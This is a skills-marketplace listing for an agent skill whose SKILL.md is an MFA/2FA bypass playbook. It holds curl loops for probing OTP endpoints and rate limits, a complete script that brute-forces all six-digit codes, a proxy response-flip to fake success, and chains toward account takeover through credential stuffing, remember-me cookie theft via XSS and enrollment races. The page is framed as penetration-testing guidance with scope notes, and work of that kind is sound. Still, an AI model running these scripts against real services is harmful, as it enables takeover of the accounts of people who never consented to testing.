# Mfa Bypass

> 2FA / OTP logic flaws — response & status tampering, brute force, OTP reuse, backup-code abuse, race conditions, missing-2FA on flows, remember-me bypass, password-reset skips 2FA.

- Skill: `purpleailab/mfa-bypass` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/mfa-bypass`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/mfa-bypass/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/mfa-bypass

---


# MFA / 2FA Bypass Playbook

Logic flaws in the second factor are pure ATO. Common because devs ship the
*happy path* (enter code → success) and forget the negative paths: response
tampering, brute force, replay, race, alternate flows, remembered devices.

## 1. Detection — map the 2FA surface

Enumerate every flow that *should* require a second factor:

```bash
# 1. Inventory paths involved in step-up
for p in /login /login/2fa /api/2fa/verify /mfa/verify /account/security \
         /account/email /account/password /password/reset /password/reset/confirm \
         /oauth/authorize /api/session /api/session/elevate /backup-codes; do
  curl -s -o /dev/null -w "%{http_code}  $p\n" "https://<TARGET>$p"
done

# 2. Submit a wrong OTP — what does the response look like?
curl -s -i -X POST "https://<TARGET>/api/2fa/verify" \
  -H 'Content-Type: application/json' -H "Cookie: session=<HALF_AUTHED>" \
  -d '{"code":"000000"}'

# 3. Rate-limit probe — burst 20 wrong codes
for i in $(seq 1 20); do
  printf '%s ' "$(curl -s -o /dev/null -w '%{http_code}' -X POST \
    "https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
    -H "Cookie: session=<HALF_AUTHED>" -d "{\"code\":\"$(printf '%06d' $i)\"}")"
done; echo
# If no 429 / lockout → brute force is open
```

## 2. Flaw matrix

| Class | Symptom | Bypass |
|---|---|---|
| Response manipulation | server returns `{"success":false}` but client trusts it | intercept → flip to `true` |
| Status-code tamper | 401 vs 200 only checked client-side | rewrite `401 → 200` in proxy |
| Flag tamper | `mfa_required=true` in JWT/JSON | edit to `false`, resign / unsigned alg |
| No rate limit | unlimited wrong OTPs | 6-digit OTP = 10⁶ — brute over hours |
| Per-IP limit only | limit on attacker IP, not on user | rotate IPs / X-Forwarded-For |
| OTP reuse | same code valid after use | replay last code in a new session |
| OTP no expiry | code from yesterday still works | mine old SMS / email |
| Predictable OTP | seeded by `userid`/timestamp | precompute |
| Backup-code abuse | unlimited tries, codes never expire / not invalidated | brute backup codes endpoint |
| Race condition | two requests in flight — both succeed | parallel POSTs (HTTP/2 single-packet attack) |
| Missing 2FA on flow | `/login` enforces, `/api/login` does not | use alternate endpoint |
| Missing 2FA on password change | password change re-enables full session | reset → skip 2FA |
| Password reset skips 2FA | reset token logs you in without 2FA | abuse reset link |
| OAuth / SSO skips 2FA | social login returns a fully-authed session | login via Google instead |
| Remember-me cookie | persistent cookie skips 2FA forever | steal remember-me via XSS / log leak |
| Direct object access | `/api/account` works on half-authed session | call protected APIs pre-2FA |
| Enrollment race | attacker enrolls own TOTP for victim before victim does | hit `/2fa/enroll` first post-login |
| Recovery channel takeover | SMS → SIM swap, email → email ATO | downstream factor compromise |

## 3. Exploit PoC

### 3.1 Brute-force a 6-digit OTP (no rate limit)
```bash
COOKIE='session=<HALF_AUTHED>'
for i in $(seq 0 999999); do
  CODE=$(printf '%06d' $i)
  CODE_LEN=${#CODE}
  RES=$(curl -s -o /dev/null -w '%{http_code}' -X POST \
    "https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
    -H "Cookie: $COOKIE" -d "{\"code\":\"$CODE\"}")
  [ "$RES" = "200" ] && { echo "HIT: $CODE"; break; }
  (( i % 1000 == 0 )) && echo "tried $i ..."
done
```

### 3.2 Response-flip bypass
```http
# Original server response
HTTP/1.1 200 OK
{"success":false,"mfa":"required"}
```
Rewrite at the proxy:
```http
HTTP/1.1 200 OK
{"success":true,"mfa":"passed"}
```
If the SPA only inspects JSON to decide navigation, session cookie is already
full-authed server-side and the redirect succeeds.

### 3.3 Direct post-2FA endpoint access
```bash
# Half-authed cookie after username+password, BEFORE OTP
curl -s "https://<TARGET>/api/account" -H "Cookie: session=<HALF_AUTHED>"
# If it returns full account data → broken step-up.
```

### 3.4 Race condition (HTTP/2 single-packet)
```bash
# Use Turbo Intruder "single-packet attack" — fire ~30 verify requests with the
# *correct* OTP in one TCP packet; servers that decrement attempts non-atomically
# accept multiple, and 2FA-disable mutations slip through.
```

## 4. Chains
- **MFA bypass → ATO** is itself the chain endpoint. Pair with credential stuffing for scale.
- **Password reset skips 2FA → ATO**: phish/reset email → straight in.
- **Remember-me theft via XSS → permanent 2FA bypass** even after password change.
- **Enrollment race → persistent ATO**: attacker becomes the legitimate 2FA owner.

## 5. Tools
- Burp Suite + **Turbo Intruder** (race conditions, single-packet attack)
- Burp **Match-and-Replace** rules for response-flip
- `ffuf` / `hydra http-post-form` for OTP brute when no JS guard
- **mitmproxy** scripts for live JSON tamper

## 6. Detection signatures & OPSEC

| Indicator | Detection method | OPSEC note |
|---|---|---|
| Hundreds of `/2fa/verify` POSTs per session | App-level rate metric | Use a dedicated attacker test account; do not brute live victims without scope |
| Same OTP value tried across users | SIEM correlation | Vary code per user when testing reuse |
| Concurrent requests on same `state` token | App anomaly | Race PoC only on isolated test users |
| Remember-me cookie from new geo | Risk engine | Validate with consent before extraction tests |

## Decision Gate: MFA bypass confirmed → exploitation
- [ ] A path produces a fully-authed session without presenting the second factor
- [ ] Bypass is repeatable, not a transient race artifact
- [ ] Bypass requires only data an attacker can plausibly obtain (creds / phish / XSS / public flow)
- [ ] PoC reads/writes a 2FA-gated resource (account settings, transfer, admin)
If all checked, escalate per `finding-protocol` as **Critical (ATO)**.

